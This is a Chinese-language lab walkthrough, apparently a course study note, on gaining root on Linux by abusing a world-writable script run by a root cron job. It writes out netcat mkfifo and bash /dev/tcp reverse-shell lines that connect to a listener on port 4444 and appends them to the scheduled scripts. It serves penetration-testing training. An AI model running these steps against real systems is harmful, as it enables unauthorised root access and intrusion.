濫用 Linux Cron Job 提權

 濫用 Linux Cron Job 提權


一旦拿到 Interactive 的 Linux 權限後,最好的利用都是不安全的文件權限設定

通常都是查找可以寫入的權限然後進行提權的作業,這裡要應用的是 Cron Job

一般基於時間的 Cron Job 排程是一個最好利用的目標,因為一般系統的排程絕大部分都是採用

root 的權限設定與執行,管理者為了方便常使用不安全的的權限來建立 Cron Job 腳本

前面有提到 Cron Job 的檔案有每小時、每日、每週、每月的排程

列舉時使用 ls -lah /etc/cron* 查看最快,除了看 Job 外查看 Log 也是一個很重要的

Cron Job 的 Log 檔案位於 /var/log/cron.log

指令 grep "CRON" /var/log/syslog

如下圖可以看到使用 root 的權限在跑備份的 Job,且每分鐘執行一次



cat 看看檔案內容 cat /home/joe/.scripts/user_backups.sh

腳本本身相當簡單,僅是將使用者的主目錄複製到備份子目錄




接著看看檔案的權限設定 ls -lah /home/joe/.scripts/user_backups.sh

看到權限,這......擺明管理者開後門給我們啊,777 賓果嗎



先開好一個 4444 Listen




修改 /home/joe/.scripts/user_backups.sh 檔案,讓他建立一個 Remote Shell 到 kali 4444

cd .scripts

echo >> user_backups.sh

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.164 4444 >/tmp/f" >> user_backups.sh

cat user_backups.sh




等一分鐘左右, 4444 的 Remote Shell 進來了





練習 :

連接到靶機並尋找另一個配置錯誤的 cron 作業。一旦找到,利用它並獲取 root shell 以獲得標誌

其他資訊與上述相同


第一步透過 joe 登入到 192.168.212.214 然後列舉 Log,grep "CRON" /var/log/syslog

看到有兩隻用 root 起的 Cron Job




分別查看兩隻 Cron Job 的權限

 - ls -lah /home/joe/.scripts/user_backups.sh --> 沒有權限

 - ls -lah /tmp/this_is_fine.sh --> 777,賓果



相同操作

echo >> this_is_fine.sh

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.45.164 4444 >/tmp/f" >> this_is_fine.sh

cat this_is_fine.sh



Remote Shell 進來了,find / -type f -name flag.txt,拿答案吧




也可以使用我們最常用的 bash -c "bash -i >& /dev/tcp/192.168.45.164/4444 0>&1"

直接 vi 檔案在 Script 中塞入那一行




一樣進來了,也是 root 權限





留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)